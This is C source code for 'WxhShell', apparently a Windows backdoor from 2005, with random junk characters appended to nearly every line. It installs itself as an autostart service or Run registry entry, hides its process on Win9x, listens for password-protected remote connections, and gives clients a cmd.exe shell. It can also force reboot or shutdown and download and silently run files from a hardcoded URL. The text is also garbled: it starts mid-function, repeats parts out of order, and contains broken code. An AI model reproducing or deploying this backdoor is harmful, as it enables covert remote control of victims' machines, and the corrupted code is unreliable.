    if(Boot(SHUTDOWN)) ]+I9{%zB%8  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9lq5\ tL-  
    else { .YF1H<gwa  
    closesocket(wsh); !ZTghX}D  
    ExitThread(0); PNm@mC_fh  
    } |+Wn5iT  
    break; !>9s  
    } pT,8E(*l2  
  // 获取shell 9nAP%MA`  
  case 's': { NJBSVC b  
    CmdShell(wsh); irlFB#..  
    closesocket(wsh); D\Ez~.H  
    ExitThread(0); tX^6R  
    break; ]aPf-O*  
  } m"!SyN}&9?  
  // 退出 d|R-K7 ~~  
  case 'x': { x;?8Zr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y.Z_\@  
    CloseIt(wsh); l= {Y[T&  
    break; j@4MV^F2c  
    } _[[0rn$  
  // 离开 %IO*(5f  
  case 'q': { 4Fp[94 b  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); DdR0u0JH0  
    closesocket(wsh); UwUHB~<oE  
    WSACleanup(); Zn9u&!T&  
    exit(1); gKb,Vrt  
    break; T<*)Cdid  
        } PMsb"=Ds  
  } !=YEhQ-  
  } ?|ZbQz(bL  
Ck/44Wfej  
  // 提示信息 GFFwk4n1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 7^i7U-A<A  
} 'HW l_M  
  } cX9o'e:C  
Tx} Nr^   
  return; 3wfcGQn|sD  
} 6xDk3   
1'f_C<.0  
// shell模块句柄 336ETrG^0  
int CmdShell(SOCKET sock) T`e`nQ0nn  
{ 9n(68|^$  
STARTUPINFO si; |3~m8v2-  
ZeroMemory(&si,sizeof(si)); RG'iWA,9m`  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &5y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^}P94(oz  
PROCESS_INFORMATION ProcessInfo; (7qlp*8.s  
char cmdline[]="cmd"; xN*k&!1&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); $.D )Llcq  
  return 0; qWH^/o  
} i(% 2t(wf+  
K<^p~'f4P  
// 自身启动模式 a]p9 [Nk  
int StartFromService(void) o-bH3Jkb]&  
{ 6>]  
typedef struct g**!'T4&o  
{ MFROAVPZ5  
  DWORD ExitStatus; #e@NV4q  
  DWORD PebBaseAddress; #QFz /6  
  DWORD AffinityMask; 9\EW~OgTu  
  DWORD BasePriority; }.o.*N  
  ULONG UniqueProcessId; AE:(:U\  
  ULONG InheritedFromUniqueProcessId; iZG-ca  
}   PROCESS_BASIC_INFORMATION; g-K;J4 K%  
cg{5\ Vl  
PROCNTQSIP NtQueryInformationProcess; #TNjQNg@O  
P;.roD9  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; s4|tWfZ  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 9`Qa/Y!  
z I2DQ] 9  
  HANDLE             hProcess; R3G\Gchd  
  PROCESS_BASIC_INFORMATION pbi; f" Iui  
2|j=^  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t]SB .ja  
  if(NULL == hInst ) return 0; -+[Lc_oNPx  
X| \`\[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); :;_}Gxx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); B& @ pZYl  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AZ(zM.y!#_  
S`vt\g$ dN  
  if (!NtQueryInformationProcess) return 0; A8tJ&O rwY  
\0 ~?i6o  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); rf=l1GW  
  if(!hProcess) return 0; VEy]vr}  
:m `D   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; t*= nI $  
>c_fUX={  
  CloseHandle(hProcess); ^ ##j {h7  
a]*{!V{$i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); x_~_/&X5  
if(hProcess==NULL) return 0; WOn<JCh]  
curYD~7  
HMODULE hMod; x'0_lf</ #  
char procName[255]; '!A}.wF0  
unsigned long cbNeeded; {F wvuk  
F^/KD<cgK  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ^B1Ft5F`b  
i!%WEHPe  
  CloseHandle(hProcess); w)ki<Dudg  
ulzX$  
if(strstr(procName,"services")) return 1; // 以服务启动 CJk"yW[,|  
Dh4 Lffy  
  return 0; // 注册表启动 sg=G<50i  
} xxs +=.2  
%l8!p'a  
// 主模块 LBq2({="  
int StartWxhshell(LPSTR lpCmdLine) ftpPrtaP  
{ a+HK fK  
  SOCKET wsl; O#k; O*s'  
BOOL val=TRUE; |= cc>]  
  int port=0; X'b3CS4  
  struct sockaddr_in door; cO]w*Hti  
rmggP(  
  if(wscfg.ws_autoins) Install(); 2pmj*Y3"8  
K&&T:'=/  
port=atoi(lpCmdLine); 3ibQbk  
{X<g93  
if(port<=0) port=wscfg.ws_port; j5DCc,s  
C7F\Y1Wj  
  WSADATA data; OCu_v%G 0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; gbYM1guiD  
`^#4okg]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4!Radl3`  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); c3GBY@m  
  door.sin_family = AF_INET; `Njvk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); YCE *Dm  
  door.sin_port = htons(port); $VQ;y|K+[  
DTH}=r-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LpY{<:y  
closesocket(wsl); ^~N:lW#=  
return 1; tm/ >H  
} AmC9qk8Q  
[R1|=kGU  
  if(listen(wsl,2) == INVALID_SOCKET) { qqo#H O  
closesocket(wsl); l$1?@l$j  
return 1; ?,x\46]>_K  
} ~]?s A{  
  Wxhshell(wsl); SW%}S*h  
  WSACleanup(); 5eL b/,R  
Y2tVq})!  
return 0; QuEX|h,F  
C9?mxa*z  
} EVLL,x.~:z  
w0;4O)H$O  
// 以NT服务方式启动 7[P-;8)tq  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N {{MMIq  
{ sN8pwRjb  
DWORD   status = 0; ##BbR  
  DWORD   specificError = 0xfffffff; D N)o|p  
Xg]Cq"RJC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; zWU]4;,"  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Uhr2"Nuuy  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; EpO2%|@  
  serviceStatus.dwWin32ExitCode     = 0; @5wc 3y  
  serviceStatus.dwServiceSpecificExitCode = 0; ;o'r@4^&$R  
  serviceStatus.dwCheckPoint       = 0; CyLwCS{V\  
  serviceStatus.dwWaitHint       = 0; d+G%\qpzQ  
@:RoYvk$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Dqo#+_v  
  if (hServiceStatusHandle==0) return; X+sKG5nS  
m5 sW68  
status = GetLastError();  ?;v\wx  
  if (status!=NO_ERROR) uvJHkAi  
{ tz2=l.1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 7omHorU+  
    serviceStatus.dwCheckPoint       = 0; ),vDn}>  
    serviceStatus.dwWaitHint       = 0; d)V8FX,t  
    serviceStatus.dwWin32ExitCode     = status; uWKmINjv'  
    serviceStatus.dwServiceSpecificExitCode = specificError; ;<m*ASM.3  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); .]h/M,xg  
    return; lCUYE"o  
  }  !AJkd.  
f6K.F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .-iW T4Dn  
  serviceStatus.dwCheckPoint       = 0; [/q Bvuun  
  serviceStatus.dwWaitHint       = 0; o}G`t Bz  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); niCK(&z  
} 2DPv7\fW  
RHBQgD$  
// 处理NT服务事件,比如:启动、停止 &-qQF`7  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m W>Iib|  
{ >v, si].  
switch(fdwControl) pl3ap(/  
{ Lu6g`O:['  
case SERVICE_CONTROL_STOP: ?e6>dNw  
  serviceStatus.dwWin32ExitCode = 0; e`b#,=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; { rLgyrj$  
  serviceStatus.dwCheckPoint   = 0; xE;O =mI  
  serviceStatus.dwWaitHint     = 0; "G%</G8M  
  { w>9d^kU'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vVSDPlN;  
  } v=iiS}s  
  return; <-?C\c~G@  
case SERVICE_CONTROL_PAUSE: iii|;v ]+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Z5(9=8hB/  
  break; X-nC2[tu'W  
case SERVICE_CONTROL_CONTINUE: ws9IO ?|&G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; X uE: dL?  
  break; 1|4,jm$  
case SERVICE_CONTROL_INTERROGATE: 3%5YUG@  
  break; R+NiIoa  
}; Ws|`E `6O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P #! N  
} DFWO5Y_  
h_#=f(.'j  
// 标准应用程序主函数 u#EcR}=]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) XEA5A.uc  
{ ^D+^~>f  
B%uY/Mwz$  
// 获取操作系统版本 k*)sz  
OsIsNt=GetOsVer(); YhV<.2^k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "g5{NjimY  
'o}[9ZBjn  
  // 从命令行安装 \\\8{jq  
  if(strpbrk(lpCmdLine,"iI")) Install(); s.bo;lk  
?110} [jw  
  // 下载执行文件 YyxU/UnhG  
if(wscfg.ws_downexe) { y(QFf*J  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2%fIe   
  WinExec(wscfg.ws_filenam,SW_HIDE); 0c`zg7|  
} $4xSI"+M%  
WqF,\y%W*  
if(!OsIsNt) { jG7PT66>;  
// 如果时win9x,隐藏进程并且设置为注册表启动 S j~SG  
HideProc(); ="YGR:  
StartWxhshell(lpCmdLine); G*+^b'7  
} mTI`^e  
else k2v:F  
  if(StartFromService()) :1UMA@HP  
  // 以服务方式启动 YS^!'IyG/B  
  StartServiceCtrlDispatcher(DispatchTable); O_1[KiZ  
else X8ap   
  // 普通方式启动 b v_ UroTr  
  StartWxhshell(lpCmdLine); j~{cT/5Y_  
HQm_ K0$  
return 0; ?MRY*[$  
} p}JOiiHa  
I<940PZ  
Tp;W4]'a*:  
7C7.}U  
=========================================== At:8+S<?A  
?'P}ZC8P  
<r: AJ;  
??p%_{QY~b  
?yS1|CF%&y  
Zw9;g+9  
" =|P &G~]  
b`-|7<s  
#include <stdio.h> @5nFa~*K%  
#include <string.h> @/<UhnI  
#include <windows.h> zw+aZDcV(  
#include <winsock2.h> >E+g.5 ,:W  
#include <winsvc.h> W#<1504ip  
#include <urlmon.h> 7m-%  
6"Fn$ :l?  
#pragma comment (lib, "Ws2_32.lib") t>cGfA  
#pragma comment (lib, "urlmon.lib") :Mu*E5  
V+Tv:a  
#define MAX_USER   100 // 最大客户端连接数 bOj)Wu  
#define BUF_SOCK   200 // sock buffer VdK%m`;2  
#define KEY_BUFF   255 // 输入 buffer x>[]Qk^?q  
tsc `u>  
#define REBOOT     0   // 重启 >l &]Ho  
#define SHUTDOWN   1   // 关机 |2q3spd  
'vBZh1`p  
#define DEF_PORT   5000 // 监听端口 $].htm  
D|9+:Y  
#define REG_LEN     16   // 注册表键长度 *(Dmd$|0|  
#define SVC_LEN     80   // NT服务名长度 PoF3fy%.  
<R$ 2x_  
// 从dll定义API N;|^C{uz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); sWYnoRxu  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); TsTc3  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); b4_0XmL  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w2nReB z  
\2s`mCY  
// wxhshell配置信息 [Iks8ZWr_  
struct WSCFG { O6;"cUv  
  int ws_port;         // 监听端口 tON>wmN  
  char ws_passstr[REG_LEN]; // 口令 sFFQ]ST2p  
  int ws_autoins;       // 安装标记, 1=yes 0=no |EE1S{!24m  
  char ws_regname[REG_LEN]; // 注册表键名 <:&vAX L  
  char ws_svcname[REG_LEN]; // 服务名 2cYBm^o|x  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 i 6G40!G=)  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 _!',%  +  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 yU v YV-7  
int ws_downexe;       // 下载执行标记, 1=yes 0=no C.jWT1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" f,HUr% @  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 sApix=Lr  
=hKAwk/^  
}; rR.It,,  
B'}?cG]  
// default Wxhshell configuration p)IL(_X)  
struct WSCFG wscfg={DEF_PORT, y>a?<*Y+e  
    "xuhuanlingzhe", y'_8b=*  
    1, Ym6d'd<9(  
    "Wxhshell", X .t4;  
    "Wxhshell", q?(] Y*  
            "WxhShell Service", Yb+A{`  
    "Wrsky Windows CmdShell Service", OT{"C"%5t  
    "Please Input Your Password: ", *1dDs^D#|  
  1, D!&(#Vl _  
  "http://www.wrsky.com/wxhshell.exe", P"vrYom  
  "Wxhshell.exe" 3xChik{  
    }; =j,WQ66r3  
Nwi|>'\C  
// 消息定义模块 yn62NyK  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; lgOAc,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; _>- D*l  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (9'^T.J  
char *msg_ws_ext="\n\rExit."; 7{|QkTgC  
char *msg_ws_end="\n\rQuit."; Tz]R}DKB&  
char *msg_ws_boot="\n\rReboot..."; P3_.U8g$r  
char *msg_ws_poff="\n\rShutdown..."; CFaY=Cy  
char *msg_ws_down="\n\rSave to "; nYyhQX~]B  
@RoZd?  
char *msg_ws_err="\n\rErr!"; ^LMgOA(7  
char *msg_ws_ok="\n\rOK!"; p>B2bv+L  
8 t5kou]h  
char ExeFile[MAX_PATH]; 11=$] K>  
int nUser = 0; 'X?xn@?  
HANDLE handles[MAX_USER]; jo`ZuN{  
int OsIsNt; _VrY7Mz:r  
PXb$]HV  
SERVICE_STATUS       serviceStatus; iEvQ4S6tD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; U[C4!k:0  
Mkz_.;3  
// 函数声明 V_+&Y$msi~  
int Install(void); u7!9H<{>P  
int Uninstall(void); cSb;a\el$  
int DownloadFile(char *sURL, SOCKET wsh); ywa*?3?c  
int Boot(int flag); WTvUz.Et  
void HideProc(void); ot^pxun  
int GetOsVer(void); @5%&wC  
int Wxhshell(SOCKET wsl); "7B}hZ^)W  
void TalkWithClient(void *cs); ?5C'9 V  
int CmdShell(SOCKET sock); @UD:zUT)F  
int StartFromService(void); ~r--dU  
int StartWxhshell(LPSTR lpCmdLine); W: ]FYC  
Ww7Ya]b.k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I~GF%$-G  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GShxPH{_j  
=kd$??F  
// 数据结构和表定义 9njl,Q:  
SERVICE_TABLE_ENTRY DispatchTable[] = "z~ba>,-\  
{ qlO}=b/  
{wscfg.ws_svcname, NTServiceMain}, Ke$_l]}  
{NULL, NULL} ks4`h>i  
}; L|=5jn9 :  
jJ ,_-ui  
// 自我安装 1+x" 5<(W  
int Install(void) QU).q65p  
{ N^Re  
  char svExeFile[MAX_PATH]; `AJ[g>py^|  
  HKEY key; nr!N%Hi  
  strcpy(svExeFile,ExeFile); :L[>!~YG_n  
I.<c{4K5  
// 如果是win9x系统,修改注册表设为自启动 2{OR#v~  
if(!OsIsNt) { Kgbm/L0XR*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OviS(}v4@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )kD/ 8  
  RegCloseKey(key); CKsVs.:u  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -pC8 L<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h@:K=gg K  
  RegCloseKey(key); ?"B] "%M&  
  return 0; ,lyW'<~gA  
    } xA] L0h]  
  } ]?Ef0?44  
} &gXh:.  
else { 8Lo#{`  
f[^f/jGm  
// 如果是NT以上系统,安装为系统服务 K+B978XD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); %Sr+D{B  
if (schSCManager!=0) x$Dq0FX!%_  
{ ;a:H-iC  
  SC_HANDLE schService = CreateService )BP*|URc  
  ( K@D\5s|1|  
  schSCManager, mDB  
  wscfg.ws_svcname, V>Wk\'h  
  wscfg.ws_svcdisp, \/a6h   
  SERVICE_ALL_ACCESS, r* *zjv>  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , M^FY6TT4O  
  SERVICE_AUTO_START, c`;\sW-_W  
  SERVICE_ERROR_NORMAL, "W|A^@r}  
  svExeFile, wVf~FssN  
  NULL, d$dy6{/YD  
  NULL, T<AT&4  
  NULL, 4fEDg{T  
  NULL, }cKB)N BJb  
  NULL pfA6?tP`  
  ); zw0w."V  
  if (schService!=0) Rj8%% G-pt  
  { .HqFdsm  
  CloseServiceHandle(schService); WjV15\,  
  CloseServiceHandle(schSCManager); 'D\Q$q  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )Fw/Cu  
  strcat(svExeFile,wscfg.ws_svcname); _X6'u J  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &p0e)o~Ux  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); &d#R'Z  
  RegCloseKey(key); qe~x?FO_>  
  return 0; wp[Ug2;G  
    } bDI%}k9#  
  }  6@S6E(^  
  CloseServiceHandle(schSCManager); :2 ;Jo^6Se  
} KyvZ? R  
} Tb/TP3N  
Tkbao D  
return 1; I[ \~ pi,  
} UM}u(;oo%)  
}pc9uvmIJ  
// 自我卸载 APQq F/  
int Uninstall(void) =OVDJ0ozZ  
{ G#M)5'Q]U  
  HKEY key;  C0rf  
bF)G+IH  
if(!OsIsNt) { !3ggQG!e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { d[ N1zQW  
  RegDeleteValue(key,wscfg.ws_regname); ~%TWF+  
  RegCloseKey(key); nla6QlFYn*  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \bA Yic  
  RegDeleteValue(key,wscfg.ws_regname); Z:; }  
  RegCloseKey(key); 9>""xt  
  return 0; 6_LeP9s )  
  } 5=dL`  
} B5e9'X^ [  
} K|& f5w  
else { Z6jEj9?O  
Mf}M/Fh  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wBPo{  
if (schSCManager!=0) ITu19WG  
{ YFKE>+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); G)3I+uxn  
  if (schService!=0) }x8!{Y#cF  
  { hy;VvAH 5  
  if(DeleteService(schService)!=0) { /@os*c|je  
  CloseServiceHandle(schService); _GOSqu!3Y  
  CloseServiceHandle(schSCManager); J 3!~e+wn  
  return 0; H'+7z-% G  
  } {4"V)9o-1>  
  CloseServiceHandle(schService); 9g92eKS  
  } 2wf&jGHs  
  CloseServiceHandle(schSCManager); 2[E wN!IZ  
} <v"o+  
} 8;PkuJR_]  
yNTd_XPL  
return 1; IThd\#=  
} . ,7bGY 1$  
p!.~hw9  
// 从指定url下载文件 ~%{2Z_t$  
int DownloadFile(char *sURL, SOCKET wsh) PnsBDf%v  
{ Jh[0xb  
  HRESULT hr; Onmmcem  
char seps[]= "/"; Bd>~F7VWs  
char *token; @Mk`Tl  
char *file; >r.]a`  
char myURL[MAX_PATH]; YJi%vQ*]  
char myFILE[MAX_PATH]; Q YJ EUC@  
cHFi(K]|1  
strcpy(myURL,sURL); 0X$mT:=9  
  token=strtok(myURL,seps); 99m2aT()  
  while(token!=NULL) ,d G.67  
  { O5\r%&$xd  
    file=token; _z5/&tm_H  
  token=strtok(NULL,seps); q5'S<qY^  
  } I[Ra0Q>([k  
5&Oc`5QD  
GetCurrentDirectory(MAX_PATH,myFILE); 4aayMS !#  
strcat(myFILE, "\\"); Hl*vS  
strcat(myFILE, file); ^xo<$zn  
  send(wsh,myFILE,strlen(myFILE),0); .nV2 n@SR  
send(wsh,"...",3,0); >J"IN I  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); DA=!AK>  
  if(hr==S_OK) ~lj~]j  
return 0; 0D-`>_  
else E-LkP;  
return 1; Ob d n#Wm=  
$JE,u' JQ  
} !(s n9z#  
[B0 BHJ~  
// 系统电源模块 a6p0_-MF  
int Boot(int flag)  0^;2  
{ Kg@'mG  
  HANDLE hToken; *4,Q9K_  
  TOKEN_PRIVILEGES tkp; .RQra+up  
RNIXQns-=S  
  if(OsIsNt) { jnH\}IB  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); XxqGsGx4  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <}a?<):S  
    tkp.PrivilegeCount = 1; m 0HK1'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; .hTqZvDa  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Q=~"xB8  
if(flag==REBOOT) { tjdPi a  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) A2 l?F  
  return 0; [g}Cve#i  
} 3^xUN|.F*V  
else { UBvp3 2p  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i,Ct AbMx  
  return 0; uo F.f$%"  
} ^$c#L1 C  
  } |OQ]F  
  else { ?HEqv$n  
if(flag==REBOOT) { T^bA O-d#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) rb?7i&-  
  return 0; <O#&D|EMd|  
} >7U/TVd&  
else { 1HJ: ?]  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) .35(MFvq!  
  return 0; d\z6Ob"t  
} mvn- QP~"  
} (f/(q-7VWt  
-YoL.`s1   
return 1; w,{h9f  
} XcR=4q|7  
^'UM@dd?!  
// win9x进程隐藏模块 N['DqS =  
void HideProc(void) 43=v2P0=Tj  
{ W/'1ftn?D  
0cG'37[  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); bWPsfUn#  
  if ( hKernel != NULL ) z 4u&#.bU  
  { ]HKt7 %,  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jP@ @<dt  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); F>;Wbk&[|  
    FreeLibrary(hKernel); <o EAy  
  } w OL,LU  
A#U! KX  
return; Koa9W >!  
} )e(<YST  
A;AQw  
// 获取操作系统版本 i'Y8-})  
int GetOsVer(void) =NB[jQ :(  
{ aNbS0R>l  
  OSVERSIONINFO winfo; /VR~E'Cy%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); g_>&R58  
  GetVersionEx(&winfo); y^2#;0W  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) h5?^MRZS  
  return 1; T"wg/mT  
  else mV0,T*}e  
  return 0; yC' y>f`H  
} 2>z YJqG|  
>?g@Nt8  
// 客户端句柄模块 j^G=9r[,  
int Wxhshell(SOCKET wsl) &/@V$'G=  
{ :!gNOR6Lh  
  SOCKET wsh; CmEqo;Is  
  struct sockaddr_in client; 'g#%>  
  DWORD myID; ||+~8z#+,  
2mLZ4 r>WE  
  while(nUser<MAX_USER) @K;b7@4y  
{ `}X3f#eO&  
  int nSize=sizeof(client); 5es t  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); W"\~O"a  
  if(wsh==INVALID_SOCKET) return 1; IjI'Hx  
!do`OEQKR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); KEAXDF&#  
if(handles[nUser]==0) dx%z9[8~{.  
  closesocket(wsh); 3%v)!dTa<^  
else *l5?_tF  
  nUser++; #W\}v(Ke  
  } ;i@S}LwL  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Okq,p=D6  
DrRK Sc(u9  
  return 0; +n^M+ea;  
} JCWTB`EB>  
"@ >6<(Ki  
// 关闭 socket qS?o22  
void CloseIt(SOCKET wsh) p fc6;K:d  
{ W(q3m;n  
closesocket(wsh); '-wmY?ZFxy  
nUser--; reu[rZ&  
ExitThread(0); %;`Kd}CO  
} j~v`q5X  
@SX%q&-  
// 客户端请求句柄 j>8DaEfwx  
void TalkWithClient(void *cs) ;|Cd q  
{ s5~k]"{j  
c^}G=Z1@  
  SOCKET wsh=(SOCKET)cs; .*zN@y3  
  char pwd[SVC_LEN]; ^O|fw?,  
  char cmd[KEY_BUFF]; y2W+YV*  
char chr[1]; /x3*oO1  
int i,j; pBtO1x6x/  
`[H^ `   
  while (nUser < MAX_USER) { :7e*- '  
5|*{~O|  
if(wscfg.ws_passstr) { w8lrpbLh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zx@!8Z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); <G pji5f2  
  //ZeroMemory(pwd,KEY_BUFF); $dfc@Fn^x  
      i=0; T//xxH]w-  
  while(i<SVC_LEN) { kn3w6]  
RELNWr  
  // 设置超时 \'|n.1Fr  
  fd_set FdRead; Jr!^9i2j'  
  struct timeval TimeOut; t:wBh'K~R8  
  FD_ZERO(&FdRead); h'y"`k -  
  FD_SET(wsh,&FdRead); yr\ClIU  
  TimeOut.tv_sec=8; 0%%1:W-  
  TimeOut.tv_usec=0; Jn+-G4h$  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ?Q:SVxzUd  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w=KfkdAJ*/  
sx?IIFF  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); - 2)k!5X=  
  pwd=chr[0]; pRQ7rT',v  
  if(chr[0]==0xd || chr[0]==0xa) { i(~DhXz*T  
  pwd=0; #j2kT  
  break; k>&cHCS`*  
  } =.`\V]  
  i++; 7@@g|l]  
    } gvP-doA7W  
N~/ 'EaO  
  // 如果是非法用户,关闭 socket 3IYFvq~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); bjVk9XvH6  
} @a 9.s  
^ZMbJe%L  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 're:_;lG  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FJn-cR.n  
o~$O$  
while(1) {  Bx45yaT  
|WB-Ng  
  ZeroMemory(cmd,KEY_BUFF); ixA.b#!1  
kk fWiPO^  
      // 自动支持客户端 telnet标准   'T eH(?3G  
  j=0; |z)s9B;:#i  
  while(j<KEY_BUFF) { W.3b]zcV  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); x-i1:W9;  
  cmd[j]=chr[0]; 2^[dy>[y0  
  if(chr[0]==0xa || chr[0]==0xd) { tz ;3  
  cmd[j]=0; cWW?@ _  
  break; UZ<K'H,q  
  } ;JxL>K(  
  j++; "_/ih1z]  
    } HH*y$  
97liSd  
  // 下载文件 dWz?`B{'  
  if(strstr(cmd,"http://")) { [}szM^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); jPSVVOG  
  if(DownloadFile(cmd,wsh)) \2@J^O1,  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); { Zgd  
  else [IAUJ09>I  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `cp\UH@  
